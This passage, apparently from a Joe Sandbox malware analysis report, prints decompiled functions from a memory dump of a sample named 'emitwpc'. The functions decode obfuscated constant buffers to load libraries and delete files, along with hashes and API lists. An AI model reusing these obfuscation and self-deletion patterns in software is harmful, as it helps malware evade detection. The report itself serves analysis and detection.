				 *((intOrPtr*)(_t219 - 0x18)) = 0x8b7204b8;
				 *((intOrPtr*)(_t219 - 0x14)) = 0xed62631a;
				 *((intOrPtr*)(_t219 - 0x10)) = 0xf72fea24;
				 *((intOrPtr*)(_t219 - 0xc)) = 0xac97cf4;
				 *((intOrPtr*)(_t219 - 8)) = 0xdf5ea3ed;
				 *((intOrPtr*)(_t219 - 4)) = 0x4071947f;
				_t217 = L002A1D10(0x2b0ed0, 0x44, __edi, __esi);
				 *0x2b4c90 = LoadLibraryW(_t205);
				L002A1DB0(_t217);
				_t212 =  *0x2b4c90; // 0x75dc0000
				return E002A1570(_t209, _t212, _t219 - 0x32c, _t217, 0xcb, 0x63b87d7a, 0x2b2d60);
			}

0x002a902a
0x002a902a
0x002a9034
0x002a903e
0x002a9048
0x002a9052
0x002a905c
0x002a9066
0x002a9070
0x002a907a
0x002a9084
0x002a908e
0x002a9098
0x002a90a2
0x002a90ac
0x002a90b6
0x002a90c0
0x002a90ca
0x002a90d4
0x002a90de
0x002a90e8
0x002a90f2
0x002a90fc
0x002a9106
0x002a9110
0x002a911a
0x002a9124
0x002a912e
0x002a9138
0x002a9142
0x002a914c
0x002a9156
0x002a9160
0x002a916a
0x002a9174
0x002a917e
0x002a9188
0x002a9192
0x002a919c
0x002a91a6
0x002a91b0
0x002a91ba
0x002a91c4
0x002a91ce
0x002a91d8
0x002a91e2
0x002a91ec
0x002a91f6
0x002a9200
0x002a920a
0x002a9214
0x002a921e
0x002a9228
0x002a9232
0x002a923c
0x002a9246
0x002a9250
0x002a925a
0x002a9264
0x002a926e
0x002a9278
0x002a9282
0x002a928c
0x002a9296
0x002a92a0
0x002a92aa
0x002a92b4
0x002a92be
0x002a92c8
0x002a92d2
0x002a92dc
0x002a92e6
0x002a92f0
0x002a92fa
0x002a9304
0x002a930e
0x002a9318
0x002a9322
0x002a932c
0x002a9336
0x002a9340
0x002a934a
0x002a9354
0x002a935e
0x002a9368
0x002a9372
0x002a937c
0x002a9386
0x002a9390
0x002a939a
0x002a93a4
0x002a93ae
0x002a93b8
0x002a93c2
0x002a93cc
0x002a93d6
0x002a93e0
0x002a93ea
0x002a93f4
0x002a93fe
0x002a9408
0x002a9412
0x002a941c
0x002a9426
0x002a9430
0x002a943a
0x002a9444
0x002a944e
0x002a9458
0x002a9462
0x002a946c
0x002a9476
0x002a9480
0x002a948a
0x002a9494
0x002a949e
0x002a94a8
0x002a94b2
0x002a94bc
0x002a94c6
0x002a94d0
0x002a94da
0x002a94e4
0x002a94ee
0x002a94f8
0x002a9502
0x002a950c
0x002a9516
0x002a9520
0x002a952a
0x002a9534
0x002a953e
0x002a9548
0x002a9552
0x002a955c
0x002a9566
0x002a9570
0x002a957a
0x002a9584
0x002a958e
0x002a9598
0x002a95a2
0x002a95ac
0x002a95b6
0x002a95c0
0x002a95ca
0x002a95d4
0x002a95de
0x002a95e8
0x002a95f2
0x002a95fc
0x002a9606
0x002a9610
0x002a961a
0x002a9624
0x002a962e
0x002a9638
0x002a9642
0x002a964c
0x002a9656
0x002a9660
0x002a966a
0x002a9674
0x002a967e
0x002a968d
0x002a9697
0x002a96a1
0x002a96ab
0x002a96b5
0x002a96bf
0x002a96c9
0x002a96d3
0x002a96dd
0x002a96e7
0x002a96ee
0x002a96f5
0x002a96fc
0x002a9703
0x002a970a
0x002a9711
0x002a9718
0x002a971f
0x002a9726
0x002a972d
0x002a9734
0x002a973b
0x002a9742
0x002a9749
0x002a9750
0x002a9757
0x002a975e
0x002a9765
0x002a976c
0x002a9773
0x002a977a
0x002a9781
0x002a9788
0x002a978f
0x002a9796
0x002a979d
0x002a97a4
0x002a97ab
0x002a97b2
0x002a97b9
0x002a97c0
0x002a97cf
0x002a97da
0x002a97df
0x002a97e4
0x002a980b

APIs

LoadLibraryW.KERNEL32(00000000), ref: 002A97D2

Strings

@J5, xrefs: 002A90C0
m#D, xrefs: 002A9656
^5z~, xrefs: 002A943A
CJ4, xrefs: 002A9444
7/1x, xrefs: 002A9734
)E'5, xrefs: 002A9124
@, xrefs: 002A95C0
mk1, xrefs: 002A920A
Ba(, xrefs: 002A95AC
Mq, xrefs: 002A9697

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: )E'5$7/1x$@$@J5$CJ4$Mq$^5z~$m#D$Ba($mk1
API String ID: 1029625771-1881183590
Opcode ID: 73570a5f1f186aeea987e9abd05602c84966fb4f8c61ff84f2920568b57025af
Instruction ID: 6c0c1908df55e6665ff4871087ead3bd4722977afe6fb9b217c0011733852f78
Opcode Fuzzy Hash: 73570a5f1f186aeea987e9abd05602c84966fb4f8c61ff84f2920568b57025af
Instruction Fuzzy Hash: AB02A8B4C56369CBDB61DF82AA897CDBB70BB02304F6086C9C1593B215CB750A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 002ABA2A, Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 171
libraryUNIQUE

C-Code - Quality: 99%

			E002ABA2A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t155;
				intOrPtr _t158;
				void* _t165;

				_t155 = __ebx;
				 *((intOrPtr*)(_t165 - 0x254)) = 0x63494279;
				 *((intOrPtr*)(_t165 - 0x250)) = 0xe174e45c;
				 *((intOrPtr*)(_t165 - 0x24c)) = 0x478f3a36;
				 *((intOrPtr*)(_t165 - 0x248)) = 0x5d285862;
				 *((intOrPtr*)(_t165 - 0x244)) = 0xf6204c51;
				 *((intOrPtr*)(_t165 - 0x240)) = 0x8f4b285d;
				 *((intOrPtr*)(_t165 - 0x23c)) = 0x9d782d6a;
				 *((intOrPtr*)(_t165 - 0x238)) = 0x50e6beb5;
				 *((intOrPtr*)(_t165 - 0x234)) = 0xd8c7ffa1;
				 *((intOrPtr*)(_t165 - 0x230)) = 0x797eee99;
				 *((intOrPtr*)(_t165 - 0x22c)) = 0xe2ad1a62;
				 *((intOrPtr*)(_t165 - 0x228)) = 0x267e8d69;
				 *((intOrPtr*)(_t165 - 0x224)) = 0xc6fccfd8;
				 *((intOrPtr*)(_t165 - 0x220)) = 0x65b05c7;
				 *((intOrPtr*)(_t165 - 0x21c)) = 0x52738282;
				 *((intOrPtr*)(_t165 - 0x218)) = 0x59a783a3;
				 *((intOrPtr*)(_t165 - 0x214)) = 0x5adf1a7b;
				 *((intOrPtr*)(_t165 - 0x210)) = 0x6e7de17a;
				 *((intOrPtr*)(_t165 - 0x20c)) = 0xca5ff49f;
				 *((intOrPtr*)(_t165 - 0x208)) = 0x2fc09274;
				 *((intOrPtr*)(_t165 - 0x204)) = 0x6658a50b;
				 *((intOrPtr*)(_t165 - 0x200)) = 0x16c1a0be;
				 *((intOrPtr*)(_t165 - 0x1fc)) = 0xcc1b9b67;
				 *((intOrPtr*)(_t165 - 0x1f8)) = 0x4a5fd6b3;
				 *((intOrPtr*)(_t165 - 0x1f4)) = 0x77c54917;
				 *((intOrPtr*)(_t165 - 0x1f0)) = 0xba3538b9;
				 *((intOrPtr*)(_t165 - 0x1ec)) = 0x7d4a2147;
				 *((intOrPtr*)(_t165 - 0x1e8)) = 0x69fa4a69;
				 *((intOrPtr*)(_t165 - 0x1e4)) = 0x1e128d5c;
				 *((intOrPtr*)(_t165 - 0x1e0)) = 0x723169a;
				 *((intOrPtr*)(_t165 - 0x1dc)) = 0x421b3829;
				 *((intOrPtr*)(_t165 - 0x1d8)) = 0xc46039bb;
				 *((intOrPtr*)(_t165 - 0x1d4)) = 0xddfb93a8;
				 *((intOrPtr*)(_t165 - 0x1d0)) = 0x7adb595a;
				 *((intOrPtr*)(_t165 - 0x1cc)) = 0xb501583d;
				 *((intOrPtr*)(_t165 - 0x1c8)) = 0xfe269756;
				 *((intOrPtr*)(_t165 - 0x1c4)) = 0x4e2bd0a;
				 *((intOrPtr*)(_t165 - 0x1c0)) = 0x46f3bca8;
				 *((intOrPtr*)(_t165 - 0x1bc)) = 0x99fe13f6;
				 *((intOrPtr*)(_t165 - 0x1b8)) = 0x4f8018c8;
				 *((intOrPtr*)(_t165 - 0x1b4)) = 0x9e804fe1;
				 *((intOrPtr*)(_t165 - 0x1b0)) = 0x342ba039;
				 *((intOrPtr*)(_t165 - 0x1ac)) = 0xe6f2d53d;
				 *((intOrPtr*)(_t165 - 0x1a8)) = 0xd6e3d6f3;
				 *((intOrPtr*)(_t165 - 0x1a4)) = 0x57bb77f1;
				 *((intOrPtr*)(_t165 - 0x1a0)) = 0x6c9926d2;
				 *((intOrPtr*)(_t165 - 0x19c)) = 0x93954019;
				 *((intOrPtr*)(_t165 - 0x198)) = 0x256fdde6;
				 *((intOrPtr*)(_t165 - 0x194)) = 0x221792dd;
				 *((intOrPtr*)(_t165 - 0x190)) = 0x358821bc;
				 *((intOrPtr*)(_t165 - 0x18c)) = 0x9bb828c9;
				 *((intOrPtr*)(_t165 - 0x188)) = 0x6375c400;
				 *((intOrPtr*)(_t165 - 0x184)) = 0xac66e5e2;
				 *((intOrPtr*)(_t165 - 0x180)) = 0x7c2520bd;
				 *((intOrPtr*)(_t165 - 0x17c)) = 0x5347274;
				 *((intOrPtr*)(_t165 - 0x178)) = 0x2c01a632;
				 *((intOrPtr*)(_t165 - 0x174)) = 0xcd57ff19;
				 *((intOrPtr*)(_t165 - 0x170)) = 0x189914cb;
				 *((intOrPtr*)(_t165 - 0x16c)) = 0x5725464a;
				 *((intOrPtr*)(_t165 - 0x168)) = 0x15a79522;
				 *((intOrPtr*)(_t165 - 0x164)) = 0x883d49b9;
				 *((intOrPtr*)(_t165 - 0x160)) = 0xdbd2223e;
				 *((intOrPtr*)(_t165 - 0x15c)) = 0xd2ced7e9;
				 *((intOrPtr*)(_t165 - 0x158)) = 0xac6f5ec4;
				 *((intOrPtr*)(_t165 - 0x154)) = 0x2d6cf3b1;
				 *((intOrPtr*)(_t165 - 0x150)) = 0x3e43fc0d;
				 *((intOrPtr*)(_t165 - 0x14c)) = 0xb9d50b04;
				 *((intOrPtr*)(_t165 - 0x148)) = 0x9500b725;
				 *((intOrPtr*)(_t165 - 0x144)) = 0x6686a35a;
				 *((intOrPtr*)(_t165 - 0x140)) = 0xe37de979;
				 *((intOrPtr*)(_t165 - 0x13c)) = 0xb932e49;
				 *((intOrPtr*)(_t165 - 0x138)) = 0x4570cb4a;
				 *((intOrPtr*)(_t165 - 0x134)) = 0xdd56b95f;
				 *((intOrPtr*)(_t165 - 0x130)) = 0xd4332a8e;
				 *((intOrPtr*)(_t165 - 0x12c)) = 0xf810e538;
				 *((intOrPtr*)(_t165 - 0x128)) = 0x9fa0e062;
				 *((intOrPtr*)(_t165 - 0x124)) = 0xe17b318f;
				 *((intOrPtr*)(_t165 - 0x120)) = 0xa99daeaa;
				 *((intOrPtr*)(_t165 - 0x11c)) = 0x81cb5a8b;
				 *((intOrPtr*)(_t165 - 0x118)) = 0x68c081b3;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t165 - 0x114)) = 0x5790c2c5;
				 *((intOrPtr*)(_t165 - 0x110)) = 0xd14e5467;
				 *((intOrPtr*)(_t165 - 0x10c)) = 0xf3568b1;
				 *((intOrPtr*)(_t165 - 0x108)) = 0xd1859a7d;
				 *((intOrPtr*)(_t165 - 0x104)) = 0x926cfea0;
				 *((intOrPtr*)(_t165 - 0x100)) = 0xce38d4be;
				 *((intOrPtr*)(_t165 - 0xfc)) = 0x49975a8;
				 *((intOrPtr*)(_t165 - 0xf8)) = 0x39069721;
				 *((intOrPtr*)(_t165 - 0xf4)) = 0x3ff5988f;
				 *((intOrPtr*)(_t165 - 0xf0)) = 0x40bdfd0f;
				 *((intOrPtr*)(_t165 - 0xec)) = 0xb932e23;
				 *((intOrPtr*)(_t165 - 0xe8)) = 0xf0070458;
				 *((intOrPtr*)(_t165 - 0xe4)) = 0x3e8d9ebd;
				 *((intOrPtr*)(_t165 - 0xe0)) = 0xcaf06021;
				 *((intOrPtr*)(_t165 - 0xdc)) = 0x75bf9aed;
				 *((intOrPtr*)(_t165 - 0xd8)) = 0xb0a905fc;
				 *((intOrPtr*)(_t165 - 0xd4)) = 0xc707501c;
				 *((intOrPtr*)(_t165 - 0xd0)) = 0xb79a14ce;
				 *((intOrPtr*)(_t165 - 0xcc)) = 0x3d3a2493;
				 *((intOrPtr*)(_t165 - 0xc8)) = 0x640088d0;
				 *((intOrPtr*)(_t165 - 0xc4)) = 0x1c282913;
				 *((intOrPtr*)(_t165 - 0xc0)) = 0x68fccc33;
				 *((intOrPtr*)(_t165 - 0xbc)) = 0x9bf4608c;
				 *((intOrPtr*)(_t165 - 0xb8)) = 0xb92080a;
				 *((intOrPtr*)(_t165 - 0xb4)) = 0xf5c8f6f3;
				 *((intOrPtr*)(_t165 - 0xb0)) = 0x286b9af5;
				 *((intOrPtr*)(_t165 - 0xac)) = 0x5409d4dc;
				 *((intOrPtr*)(_t165 - 0xa8)) = 0xd0af62fe;
				 *((intOrPtr*)(_t165 - 0xa4)) = 0xaec8326e;
				 *((intOrPtr*)(_t165 - 0xa0)) = 0xa870ef5e;
				 *((intOrPtr*)(_t165 - 0x9c)) = 0xdd8cf5ea;
				 *((intOrPtr*)(_t165 - 0x98)) = 0x8e64fc50;
				 *((intOrPtr*)(_t165 - 0x94)) = 0x7147bed3;
				 *((intOrPtr*)(_t165 - 0x90)) = 0xef4e1380;
				 *((intOrPtr*)(_t165 - 0x8c)) = 0xfcfaabf5;
				 *((intOrPtr*)(_t165 - 0x88)) = 0x521bcc2b;
				 *((intOrPtr*)(_t165 - 0x84)) = 0x2ba0cb6c;
				 *((intOrPtr*)(_t165 - 0x80)) = 0x93ddb426;
				 *((intOrPtr*)(_t165 - 0x7c)) = 0xe18c0515;
				 *((intOrPtr*)(_t165 - 0x78)) = 0xd364ac18;
				 *((intOrPtr*)(_t165 - 0x74)) = 0x30133878;
				 *((intOrPtr*)(_t165 - 0x70)) = 0x2477a80c;
				 *((intOrPtr*)(_t165 - 0x6c)) = 0x4f649ef0;
				 *((intOrPtr*)(_t165 - 0x68)) = 0xec17780d;
				 *((intOrPtr*)(_t165 - 0x64)) = 0xd7fcce46;
				 *((intOrPtr*)(_t165 - 0x60)) = 0x17b801b3;
				 *((intOrPtr*)(_t165 - 0x5c)) = 0xb31115cc;
				 *((intOrPtr*)(_t165 - 0x58)) = 0xdc042498;
				 *((intOrPtr*)(_t165 - 0x54)) = 0x5ad123c5;
				 *((intOrPtr*)(_t165 - 0x50)) = 0x5cd4380e;
				 *((intOrPtr*)(_t165 - 0x4c)) = 0x94097e9a;
				 *((intOrPtr*)(_t165 - 0x48)) = 0x2fd80092;
				 *((intOrPtr*)(_t165 - 0x44)) = 0xc2f5e2b4;
				 *((intOrPtr*)(_t165 - 0x40)) = 0x74d59ad6;
				 *((intOrPtr*)(_t165 - 0x3c)) = 0x47c835c2;
				 *((intOrPtr*)(_t165 - 0x38)) = 0xd8441b8b;
				 *((intOrPtr*)(_t165 - 0x34)) = 0x7c07614d;
				 *((intOrPtr*)(_t165 - 0x30)) = 0xf13fa674;
				 *((intOrPtr*)(_t165 - 0x2c)) = 0xa6b65dcf;
				 *((intOrPtr*)(_t165 - 0x28)) = 0xa3c08375;
				 *((intOrPtr*)(_t165 - 0x24)) = 0x5ee40c11;
				 *((intOrPtr*)(_t165 - 0x20)) = 0x5b22c6ce;
				 *((intOrPtr*)(_t165 - 0x1c)) = 0x6adfd0eb;
				 *((intOrPtr*)(_t165 - 0x18)) = 0x1bf5425c;
				 *((intOrPtr*)(_t165 - 0x14)) = 0xab354f45;
				 *((intOrPtr*)(_t165 - 0x10)) = 0x724244a0;
				 *((intOrPtr*)(_t165 - 0xc)) = 0xfd06411d;
				 *((intOrPtr*)(_t165 - 8)) = 0xae4c4691;
				 *((intOrPtr*)(_t165 - 4)) = 0x5af1359b;
				_t163 = L002A1D10(0x2b1610, 0x1f8, __edi, __esi);
				 *0x2b4ca0 = LoadLibraryW(_t151);
				L002A1DB0(_t163);
				_t158 =  *0x2b4ca0; // 0x76510000
				return E002A1570(_t155, _t158, _t165 - 0x254, _t163, 0x95, 0x51873af2, 0x2b4850);
			}

0x002aba2a
0x002aba2a
0x002aba34
0x002aba3e
0x002aba48
0x002aba52
0x002aba5c
0x002aba66
0x002aba70
0x002aba7a
0x002aba84
0x002aba8e
0x002aba98
0x002abaa2
0x002abaac
0x002abab6
0x002abac0
0x002abaca
0x002abad4
0x002abade
0x002abae8
0x002abaf2
0x002abafc
0x002abb06
0x002abb10
0x002abb1a
0x002abb24
0x002abb2e
0x002abb38
0x002abb42
0x002abb4c
0x002abb56
0x002abb60
0x002abb6a
0x002abb74
0x002abb7e
0x002abb88
0x002abb92
0x002abb9c
0x002abba6
0x002abbb0
0x002abbba
0x002abbc4
0x002abbce
0x002abbd8
0x002abbe2
0x002abbec
0x002abbf6
0x002abc00
0x002abc0a
0x002abc14
0x002abc1e
0x002abc28
0x002abc32
0x002abc3c
0x002abc46
0x002abc50
0x002abc5a
0x002abc64
0x002abc6e
0x002abc78
0x002abc82
0x002abc8c
0x002abc96
0x002abca0
0x002abcaa
0x002abcb4
0x002abcbe
0x002abcc8
0x002abcd2
0x002abcdc
0x002abce6
0x002abcf0
0x002abcfa
0x002abd04
0x002abd0e
0x002abd18
0x002abd22
0x002abd2c
0x002abd36
0x002abd40
0x002abd4a
0x002abd54
0x002abd63
0x002abd6d
0x002abd77
0x002abd81
0x002abd8b
0x002abd95
0x002abd9f
0x002abda9
0x002abdb3
0x002abdbd
0x002abdc7
0x002abdd1
0x002abddb
0x002abde5
0x002abdef
0x002abdf9
0x002abe03
0x002abe0d
0x002abe17
0x002abe21
0x002abe2b
0x002abe35
0x002abe3f
0x002abe49
0x002abe53
0x002abe5d
0x002abe67
0x002abe71
0x002abe7b
0x002abe85
0x002abe8f
0x002abe99
0x002abea3
0x002abead
0x002abeb7
0x002abec1
0x002abecb
0x002abed2
0x002abed9
0x002abee0
0x002abee7
0x002abeee
0x002abef5
0x002abefc
0x002abf03
0x002abf0a
0x002abf11
0x002abf18
0x002abf1f
0x002abf26
0x002abf2d
0x002abf34
0x002abf3b
0x002abf42
0x002abf49
0x002abf50
0x002abf57
0x002abf5e
0x002abf65
0x002abf6c
0x002abf73
0x002abf7a
0x002abf81
0x002abf88
0x002abf8f
0x002abf96
0x002abf9d
0x002abfa4
0x002abfb3
0x002abfbe
0x002abfc3
0x002abfcd
0x002abfef

APIs

LoadLibraryW.KERNEL32(00000000), ref: 002ABFB6

Strings

yBIc, xrefs: 002ABA2A
JF%W, xrefs: 002ABC6E
bX(], xrefs: 002ABA48
z}n, xrefs: 002ABAD4
y}, xrefs: 002ABCDC
\t, xrefs: 002ABA34
G!J}, xrefs: 002ABB2E

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: G!J}$JF%W$\t$bX(]$yBIc$y}$z}n
API String ID: 1029625771-1870260104
Opcode ID: c7225c9b0d2eb65e7d8658b104f9abcb9f52571f8eef50d8c5e9864f2ad4d760
Instruction ID: ded0ce7e1bab6bffcad89205397d6385bde81f0e2a99d10615d8d9d5680cc2ae
Opcode Fuzzy Hash: c7225c9b0d2eb65e7d8658b104f9abcb9f52571f8eef50d8c5e9864f2ad4d760
Instruction Fuzzy Hash: 01C1C8B0C46369CBDB60DF86AA857CDBB70FB02744F6086C8C5693B215CB704A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 002AD792, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
fileCOMMON

C-Code - Quality: 19%

			E002AD792(void* __edi, void* __esi, void* __eflags) {
				void* _t12;
				void* _t13;
				void* _t20;
				int _t33;
				void* _t47;
				void* _t49;

				 *0x2b3664();
				_t12 = L002A1D10(0x2b2010, 0x14, __edi, __esi);
				_t13 = _t49 - 0x410;
				 *0x2b3344(_t49 - 0x208, 0x104, _t12, _t49 - 0x618, _t13, _t13, 0x517393ad);
				L002A1DB0(_t12);
				DeleteFileW(_t49 - 0x208);
				_t20 = L002A1D10(0x2b1ee0, 0x58, __edi, _t12);
				 *0x2b3344(_t49 - 0x208, 0x104, _t20, _t49 - 0x618, "emitwpc", 0x517393ad);
				L002A1DB0(_t20);
				DeleteFileW(_t49 - 0x208);
				_t47 = L002A1D10(0x2b1ee0, 0x58, __edi, _t20);
				goto 0x2c1b77;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				 *0x2b3344(_t49 - 0x618, _t49 - 0x410, 0x517393ad);
				L002A1DB0(_t47);
				_t33 = DeleteFileW(_t49 - 0x208); // executed
				return _t33;
			}

0x002ad792
0x002ad7a7
0x002ad7ae
0x002ad7ca
0x002ad7d5
0x002ad7e1
0x002ad7f6
0x002ad816
0x002ad821
0x002ad82d
0x002ad847
0x002ad857
0x002ad85c
0x002ad85d
0x002ad85e
0x002ad85f
0x002ad860
0x002ad861
0x002ad862
0x002ad863
0x002ad864
0x002ad86f
0x002ad87b
0x002ad885

APIs

SHGetFolderPathW.SHELL32 ref: 002AD792
_snwprintf.NTDLL ref: 002AD7CA
DeleteFileW.KERNEL32(?), ref: 002AD7E1
_snwprintf.NTDLL ref: 002AD816
DeleteFileW.KERNEL32(?), ref: 002AD82D

Strings

emitwpc, xrefs: 002AD803

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: DeleteFile_snwprintf$FolderPath
String ID: emitwpc
API String ID: 2811456174-718124430
Opcode ID: a32db6461a422b33ab5caae6c782019d09c1adb81e69151615f354d45c327f00
Instruction ID: e7dcc08a7f753261ede741dde47227a69925ae39bcaa95bbc6548431e73be37a
Opcode Fuzzy Hash: a32db6461a422b33ab5caae6c782019d09c1adb81e69151615f354d45c327f00
Instruction Fuzzy Hash: B611A1B79101286BC750EB909C59EDF727DEF85390F0406A5F616E7142DE309FA48FA4

Uniqueness

Uniqueness Score: 4.31%

Function 002A11CD, Relevance: 9.0, APIs: 6, Instructions: 27
synchronizationCOMMON

C-Code - Quality: 39%

			E002A11CD(void* __edi) {
				void* __esi;
				void* _t14;
				void* _t17;
				void* _t19;
				void* _t21;

				_t17 = __edi;
				GetModuleFileNameW(??, ??, ??);
				_push(_t21 - 0x18);
				_push(0x80);
				if(L002A2020(_t19) != 0) {
					WaitForSingleObject(_t19, 0xffffffff);
					CloseHandle( *(_t21 - 0x18));
					CloseHandle( *(_t21 - 0x14));
				}
				CloseHandle(_t19);
				CloseHandle(_t14);
				return _t17;
			}

0x002a11cd
0x002a11cd
0x002a11d6
0x002a11d7
0x002a11ec
0x002a11f1
0x002a11fa
0x002a1203
0x002a1203
0x002a120a
0x002a1211
0x002a121f

APIs

GetModuleFileNameW.KERNEL32 ref: 002A11CD
WaitForSingleObject.KERNEL32(?,000000FF), ref: 002A11F1
CloseHandle.KERNEL32(?), ref: 002A11FA
CloseHandle.KERNEL32(?), ref: 002A1203
CloseHandle.KERNEL32 ref: 002A120A
CloseHandle.KERNEL32 ref: 002A1211

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseHandle$FileModuleNameObjectSingleWait
String ID:
API String ID: 2436384749-0
Opcode ID: 38863737fdc04daf761d3dcddc6ab5a41775e14449932aee2a6c7fec7293a53d
Instruction ID: b54108ca7818861b57b1c9c55411e0f0339d5148c6e618609a4764678014ce78
Opcode Fuzzy Hash: 38863737fdc04daf761d3dcddc6ab5a41775e14449932aee2a6c7fec7293a53d
Instruction Fuzzy Hash: 2BE0C036650015ABCB019BA8FD0D9ADBB3DEF56312F000361FA19E01A0DE314A198B61

Uniqueness

Uniqueness Score: 0.01%

Function 002AB4A4, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 139
libraryUNIQUE

C-Code - Quality: 98%

			E002AB4A4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t123;
				intOrPtr _t126;
				void* _t133;

				_t123 = __ebx;
				 *((intOrPtr*)(_t133 - 0x1d4)) = 0x3e194ba;
				 *((intOrPtr*)(_t133 - 0x1d0)) = 0xcb5ae7e5;
				 *((intOrPtr*)(_t133 - 0x1cc)) = 0x14c5732f;
				 *((intOrPtr*)(_t133 - 0x1c8)) = 0x53fb9532;
				 *((intOrPtr*)(_t133 - 0x1c4)) = 0xf246e569;
				 *((intOrPtr*)(_t133 - 0x1c0)) = 0xd8e37235;
				 *((intOrPtr*)(_t133 - 0x1bc)) = 0x30b2518c;
				 *((intOrPtr*)(_t133 - 0x1b8)) = 0xae793840;
				 *((intOrPtr*)(_t133 - 0x1b4)) = 0x45dda6c3;
				 *((intOrPtr*)(_t133 - 0x1b0)) = 0xa846bfe5;
				 *((intOrPtr*)(_t133 - 0x1ac)) = 0xce25b571;
				 *((intOrPtr*)(_t133 - 0x1a8)) = 0xa0d0480;
				 *((intOrPtr*)(_t133 - 0x1a4)) = 0x381f467f;
				 *((intOrPtr*)(_t133 - 0x1a0)) = 0x5e75d78d;
				 *((intOrPtr*)(_t133 - 0x19c)) = 0x1232bdea;
				 *((intOrPtr*)(_t133 - 0x198)) = 0xf1ae7c94;
				 *((intOrPtr*)(_t133 - 0x194)) = 0xcd7511f8;
				 *((intOrPtr*)(_t133 - 0x190)) = 0xd3c20dd1;
				 *((intOrPtr*)(_t133 - 0x18c)) = 0xa299daf1;
				 *((intOrPtr*)(_t133 - 0x188)) = 0x33cd7141;
				 *((intOrPtr*)(_t133 - 0x184)) = 0x835add74;
				 *((intOrPtr*)(_t133 - 0x180)) = 0x1ab2f402;
				 *((intOrPtr*)(_t133 - 0x17c)) = 0x1df2bad4;
				 *((intOrPtr*)(_t133 - 0x178)) = 0xc379fb1a;
				 *((intOrPtr*)(_t133 - 0x174)) = 0xa22c1bf9;
				 *((intOrPtr*)(_t133 - 0x170)) = 0xb0529d2f;
				 *((intOrPtr*)(_t133 - 0x16c)) = 0x7f641a7;
				 *((intOrPtr*)(_t133 - 0x168)) = 0xf9c85ac0;
				 *((intOrPtr*)(_t133 - 0x164)) = 0xdbfb1a70;
				 *((intOrPtr*)(_t133 - 0x160)) = 0xbdb38181;
				 *((intOrPtr*)(_t133 - 0x15c)) = 0xfb76298c;
				 *((intOrPtr*)(_t133 - 0x158)) = 0xca1f984c;
				 *((intOrPtr*)(_t133 - 0x154)) = 0x831cc74;
				 *((intOrPtr*)(_t133 - 0x150)) = 0x3947bdfe;
				 *((intOrPtr*)(_t133 - 0x14c)) = 0xa9add96b;
				 *((intOrPtr*)(_t133 - 0x148)) = 0x4ea56a36;
				 *((intOrPtr*)(_t133 - 0x144)) = 0x79ef7dee;
				 *((intOrPtr*)(_t133 - 0x140)) = 0x4d8fad9f;
				 *((intOrPtr*)(_t133 - 0x13c)) = 0xe0d61ece;
				 *((intOrPtr*)(_t133 - 0x138)) = 0x738cb825;
				 *((intOrPtr*)(_t133 - 0x134)) = 0x5eb130f9;
				 *((intOrPtr*)(_t133 - 0x130)) = 0x16915d1;
				 *((intOrPtr*)(_t133 - 0x12c)) = 0x29e94e4a;
				 *((intOrPtr*)(_t133 - 0x128)) = 0x568f537c;
				 *((intOrPtr*)(_t133 - 0x124)) = 0x2e0b7827;
				 *((intOrPtr*)(_t133 - 0x120)) = 0xff88b766;
				 *((intOrPtr*)(_t133 - 0x11c)) = 0xe7533b9c;
				 *((intOrPtr*)(_t133 - 0x118)) = 0x27201384;
				 *((intOrPtr*)(_t133 - 0x114)) = 0x9d4ed368;
				 *((intOrPtr*)(_t133 - 0x110)) = 0x9622ee4b;
				 *((intOrPtr*)(_t133 - 0x10c)) = 0x65a1cb07;
				 *((intOrPtr*)(_t133 - 0x108)) = 0xb9fd4af5;
				 *((intOrPtr*)(_t133 - 0x104)) = 0x1115963;
				 *((intOrPtr*)(_t133 - 0x100)) = 0xfa95e90f;
				 *((intOrPtr*)(_t133 - 0xfc)) = 0xa07788a7;
				 *((intOrPtr*)(_t133 - 0xf8)) = 0x2429942d;
				 *((intOrPtr*)(_t133 - 0xf4)) = 0xf19d9226;
				 *((intOrPtr*)(_t133 - 0xf0)) = 0xf70e3a94;
				 *((intOrPtr*)(_t133 - 0xec)) = 0x7092538b;
				 *((intOrPtr*)(_t133 - 0xe8)) = 0x17ffb4d9;
				 *((intOrPtr*)(_t133 - 0xe4)) = 0xb12d5b72;
